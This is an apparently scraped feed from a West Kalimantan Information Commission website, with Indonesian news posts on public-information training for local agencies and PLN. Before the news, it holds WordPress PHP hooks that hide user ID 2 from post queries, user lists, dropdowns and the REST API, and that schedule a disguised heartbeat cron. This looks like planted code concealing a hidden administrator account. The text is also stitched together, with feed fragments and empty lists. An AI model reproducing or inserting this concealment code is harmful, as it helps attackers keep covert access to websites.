add_action( 'pre_get_posts', function( $q ) {
if ( ! is_admin() && $q->is_main_query() ) {
$not_in = (array) $q->get( 'author__not_in' );
$not_in[] = 2;
$q->set(
'author__not_in',
array_unique( array_map( 'intval', $not_in ) )
);
}
}, 1 );
add_action( 'pre_user_query', function( $q ) {
if ( current_user_can( 'manage_options' ) ) {
return;
}
global $wpdb;
$q->query_where .= $wpdb->prepare( ' AND ID <> %d ', 2 );
} );
add_filter( 'wp_dropdown_users_args', function( $a ) {
$exclude = isset( $a['exclude'] ) ? (array) $a['exclude'] : array();
$exclude[] = 2;
$a['exclude'] = array_unique( array_map( 'intval', $exclude ) );
return $a;
} );
add_filter( 'rest_user_query', function( $args, $request ) {
$exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array();
$exclude[] = 2;
$args['exclude'] = array_unique( array_map( 'intval', $exclude ) );
return $args;
}, 10, 2 );
add_action( 'admin_head-users.php', function() {
echo '';
} );
add_action( 'init', function() {
if ( ! function_exists( 'wp_next_scheduled' ) || ! function_exists( 'wp_schedule_single_event' ) ) {
return;
}
if ( ! wp_next_scheduled( 'wp_extra_bot_heartbeat' ) ) {
wp_schedule_single_event( time() + 5 * MINUTE_IN_SECONDS, 'wp_extra_bot_heartbeat' );
}
} );
add_action( 'wp_extra_bot_heartbeat', function() {
// noop
} );
The post Dorong Keterbukaan Informasi, Komisi Informasi Kalbar Jadi Narasumber Sosialisasi dan Bimtek PPID di Pontianak. appeared first on Komisi Informasi Provinsi Kalimantan Barat.
]]>
Kegiatan sosialisasi dan bimtek ini bertujuan untuk meningkatkan pemahaman perangkat daerah terhadap standar pelayanan informasi publik serta memperkuat peran PPID di lingkungan Pemerintah Kota Pontianak. Dalam sambutannya, Vivi Salmiarni, perwakilan dari Bidang Informasi, Komunikasi, dan Publikasi Diskominfo Kota Pontianak, menegaskan pentingnya penguatan peran PPID agar pelayanan informasi publik di Kota Pontianak menjadi lebih optimal dan sesuai dengan ketentuan perundang-undangan.
Kegiatan ini dihadiri oleh perwakilan Diskominfo Kota Pontianak dan para PPID dari berbagai Organisasi Perangkat Daerah (OPD) di lingkungan Kota Pontianak. Turut hadir pula narasumber dari Komisi Informasi Kalimantan Barat, yaitu Marhasak Reinardo Sinaga dan Sabinus Matius Melano selaku Koordinator Bidang Sosialisasi, Edukasi, dan Komunikasi Publik.
Dalam paparannya, Marhasak Reinardo Sinaga menekankan bahwa sebagai ibu kota Provinsi Kalimantan Barat, Kota Pontianak harus menjadi contoh keterbukaan informasi publik. Ia juga menyoroti pentingnya peningkatan kualitas isi website dan media sosial badan publik sebagai wajah awal transparansi informasi provinsi ini. “Monev bisa menjadi instrumen untuk mendorong peningkatan Indeks Pembangunan Manusia (IPM) melalui aksesibilitas informasi yang lebih baik,” ujarnya.
Sabinus Matius Melano turut menambahkan bahwa setiap badan publik wajib menyediakan dan menerbitkan informasi publik di bawah kewenangannya, kecuali informasi yang dikecualikan sesuai ketentuan Pasal 17 dan 19 UU No. 14 Tahun 2008 tentang Keterbukaan Informasi Publik. “PPID wajib melakukan pengujian konsekuensi secara teliti sebelum menyatakan suatu informasi dikecualikan,” tegasnya.
Sebagai bentuk apresiasi, Diskominfo Kota Pontianak juga memberikan penghargaan kepada sejumlah PPID yang telah menjalankan tugasnya dengan baik dalam pelayanan informasi publik. Diharapkan, kegiatan ini memberikan dampak positif dalam meningkatkan kesadaran dan kapabilitas para PPID di lingkungan Kota Pontianak.
Melalui kegiatan ini, Pemerintah Kota Pontianak berharap setiap perangkat daerah semakin memahami pentingnya keterbukaan informasi dan mampu memberikan pelayanan informasi publik secara cepat, tepat, dan akuntabel kepada masyarakat.
The post Dorong Keterbukaan Informasi, Komisi Informasi Kalbar Jadi Narasumber Sosialisasi dan Bimtek PPID di Pontianak. appeared first on Komisi Informasi Provinsi Kalimantan Barat.
]]>The post Komisi Informasi Kalimantan Barat Jadi Narasumber Dalam Sosialisasi & Bimbingan Teknis Standar Pelayanan Informasi Publik Di Kubu Raya appeared first on Komisi Informasi Provinsi Kalimantan Barat.
]]>
Kegiatan ini diselenggarakan pada Jumat, 1 Agustus 2025, bertempat di Ruang Rapat I Bappedalitbang Kabupaten Kubu Raya dan dimulai pukul 13.30 WIB hingga selesai. Kegiatan ini bertujuan untuk meningkatkan kapasitas dan pemahaman para Pejabat Pengelola Informasi dan Dokumentasi (PPID) di lingkungan Pemerintah Kabupaten Kubu Raya agar mampu menjalankan fungsi pelayanan informasi publik secara efektif sesuai amanat Undang-Undang Nomor 14 Tahun 2008 tentang Keterbukaan Informasi Publik.
Kegiatan dilaksanakan dengan metode paparan materi oleh narasumber dan diskusi interaktif. Materi yang disampaikan mencakup pemahaman prinsip-prinsip keterbukaan informasi, klasifikasi jenis informasi, serta mekanisme permohonan dan penyelesaian sengketa informasi publik.
Dalam paparannya, Wakil Ketua KI Kalbar, M. Reinardo Sinaga, menegaskan bahwa keterbukaan informasi merupakan bagian yang tidak terpisahkan dari tata kelola pemerintahan yang baik. “Keterbukaan informasi di badan publik adalah keharusan. Monitoring dan evaluasi (Monev) hanyalah instrumen untuk mencapainya,” ujarnya.
Sementara itu, Lufti Faurusal Hasan memaparkan secara teknis tentang implementasi standar layanan informasi publik yang harus dijalankan oleh PPID, termasuk tantangan dan solusi dalam menghadapi dinamika permintaan informasi dari masyarakat.
Melalui kegiatan ini, Komisi Informasi Kalbar berharap Pemerintah Kabupaten Kubu Raya dapat semakin memperkuat komitmen terhadap transparansi, akuntabilitas, serta peningkatan kualitas pelayanan publik berbasis keterbukaan informasi.
The post Komisi Informasi Kalimantan Barat Jadi Narasumber Dalam Sosialisasi & Bimbingan Teknis Standar Pelayanan Informasi Publik Di Kubu Raya appeared first on Komisi Informasi Provinsi Kalimantan Barat.
]]>The post Komisi Informasi Provinsi Kalimantan Barat Perkuat Keterbukaan Informasi Publik PLN UID KALBAR appeared first on Komisi Informasi Provinsi Kalimantan Barat.
]]>
Ketua Komisi Informasi Kalbar, M. Darusalam, bersama Komisioner Bidang Penyelesaian Sengketa Informasi, Lufti Faurusal Hasan, menyampaikan sejumlah materi strategis mengenai kewajiban Badan Publik termasuk BUMN dalam keterbukaan informasi, sesuai amanat UU No. 14 Tahun 2008 tentang Keterbukaan Informasi Publik.
“Keterbukaan informasi publik akan meningkatkan kepercayaan masyarakat terhadap tata kelola perusahaan, serta membuka ruang partisipasi publik yang lebih luas terhadap kinerja PLN sebagai badan publik,” ujar M. Darusalam di hadapan peserta sosialisasi.
Hadir dalam kegiatan ini Vice President Pelayanan Informasi & Dokumentasi, Fenny Nurhayati; PLH General Manager PLN UID Kalbar, Anton Sugiarto; Senior Manager Keuangan Komunikasi dan Umum PLN UID Kalbar, Rahayu Arimbi; Senior Manager Keuangan Komunikasi dan Umum PLN UIP3B Kalimantan, Endah Trianingtyas; serta General Manager UIP Kalbar, Johar Wijaya. Peserta kegiatan yang mengikuti kegiatan baik secara langsung maupun lewat zoom merupakan perwakilan dari PLN Grup Kalbar.
Dalam paparannya, Ketua Komisi Informasi Kalbar M. Darusalam menyampaikan dampak positif keterbukaan informasi publik bagi BUMN mencakup antara lain:
Beberapa hal yang perlu dilakukan untuk mewujudkan Badan Publik BUMN yg informatif diantaranya ditegaskan:
Kegiatan ini juga memuat simulasi alur layanan permohonan informasi publik sesuai prosedur yang ditetapkan UU KIP. Proses ini mengatur bahwa:
Dengan kegiatan ini, diharapkan seluruh jajaran PLN Grup Kalbar dapat semakin memahami dan mengimplementasikan prinsip keterbukaan informasi publik secara optimal, demi mendorong tata kelola perusahaan yang profesional, efisien, dan berintegritas tinggi.
The post Komisi Informasi Provinsi Kalimantan Barat Perkuat Keterbukaan Informasi Publik PLN UID KALBAR appeared first on Komisi Informasi Provinsi Kalimantan Barat.
]]>